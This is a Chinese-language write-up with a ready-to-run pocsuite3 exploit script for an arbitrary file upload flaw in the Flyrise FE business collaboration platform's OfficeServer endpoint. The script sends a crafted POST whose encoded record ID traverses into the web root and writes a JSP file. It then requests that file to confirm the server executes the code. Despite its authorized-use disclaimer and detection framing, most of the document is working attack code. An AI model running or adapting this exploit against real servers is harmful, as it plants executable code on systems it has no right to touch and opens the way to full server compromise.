飞企互联文件上传漏洞

下面给出一个示例的 pocsuite3 POC，实现了对 飞企互联-FE业务协作平台 OfficeServer 任意文件上传 漏洞的检测。注意其中 OfficeServer.js%70 的 “%70” 一定要保持原样。

说明

1. 该 POC 仅用于安全研究或在获得授权的情况下使用，切勿用于非法用途。
2. 脚本中有部分字段（如作者、日期等）可根据实际情况进行调整。
3. 如果环境网络状况不佳，发送完第一个请求后可能需要 sleep 更久。

python
#!/usr/bin/env python3
# coding=utf-8

"""
pocsuite3 POC for 飞企互联-FE业务协作平台 OfficeServer 任意文件上传漏洞
"""

import time
from pocsuite3.api import POCBase, Output, register_poc, logger, requests
from pocsuite3.api import POC_CATEGORY
from pocsuite3.lib.utils import random_str


class FlyriseFEMOfficeServerFileUploadPOC(POCBase):
    # 漏洞的基本信息
    vulID = "Flyrise-FEM-OfficeServer-upload"       # 漏洞编号，可自定义
    version = "1.0"
    author = "SleepingBag945"
    vulDate = "2025-01-13"
    createDate = "2025-01-13"
    updateDate = "2025-01-13"
    references = []
    name = "飞企互联-FE业务协作平台 OfficeServer 任意文件上传"
    appPowerLink = ""
    appName = "飞企互联-FE业务协作平台 OfficeServer"
    appVersion = "all"
    vulType = "Arbitrary File Upload"
    category = POC_CATEGORY.EXPLOITS.WEBAPP

    desc = """
        飞企互联-FE业务协作平台 OfficeServer 模块存在任意文件上传漏洞，攻击者可通过特殊构造请求上传恶意文件并导致服务器被入侵。
    """
    pocDesc = """
        1. 发送 POST 请求至 /iweboffice/OfficeServer.js%70，构造特定数据包含恶意代码
        2. 等待几秒后，再访问 /uid.jsp;.js 验证是否执行成功
    """

    def _verify(self):
        result = {}
        base_url = self.url.strip().rstrip("/")
        
        # 为了验证上传的有效性，构造一个随机字符串写入 jsp 文件中
        str1 = random_str(8)

        # Step 1: 构造 POST 请求，目标路径含 %70
        post_path = "/iweboffice/OfficeServer.js%70"
        # 这里模拟了官方 poc 中的数据结构，可根据实际情况增删改
        # 注意：<%out.println("...");%> 中不能少，否则无法写入
        data = (
            "DBSTEP V3.0     93                     0        28              DBSTEP=REJTVEVQ\n"
            "OPTION=U0FWRUZJTEU=\n"
            "RECORDID=Li4vLi4vLi4vamJvc3Mvd2ViL2ZlLndhci91aWQuanNw\n"
            f"<%out.println(\"{str1}\");%>"
        )

        headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
            "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9," 
                      "image/avif,image/webp,image/apng,*/*;q=0.8",
            "Connection": "close"
        }

        try:
            # 发送文件上传请求
            upload_url = base_url + post_path
            requests.post(upload_url, data=data, headers=headers, timeout=5, verify=False)
            
            # 可根据网络情况调整等待时间
            time.sleep(3)

            # Step 2: 验证文件是否成功写入
            get_path = "/uid.jsp;.js"
            verify_url = base_url + get_path
            r2 = requests.get(verify_url, headers=headers, timeout=5, verify=False)
            
            if r2.status_code == 200 and str1 in r2.text:
                # 表示上传成功，可读取到随机串
                result["VerifyInfo"] = {}
                result["VerifyInfo"]["URL"] = verify_url
                result["VerifyInfo"]["Data"] = str1

        except Exception as e:
            logger.error(f"Request Error: {e}")

        return self.parse_output(result)

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail("Target is not vulnerable")
        return output


# 注册 POC
register_poc(FlyriseFEMOfficeServerFileUploadPOC)

使用方法

1. 安装并配置好 pocsuite3 环境。
2. 将上述脚本保存为 flyrise_fem_officeserver_upload.py（名字可自定），然后执行：

   bash
   pocsuite -r flyrise_fem_officeserver_upload.py -u http://target.com --verify

3. 如果目标存在漏洞并成功写入测试字符串，将会在 VerifyInfo 中输出相应结果。若没有输出，则目标不存在此漏洞或检测失败。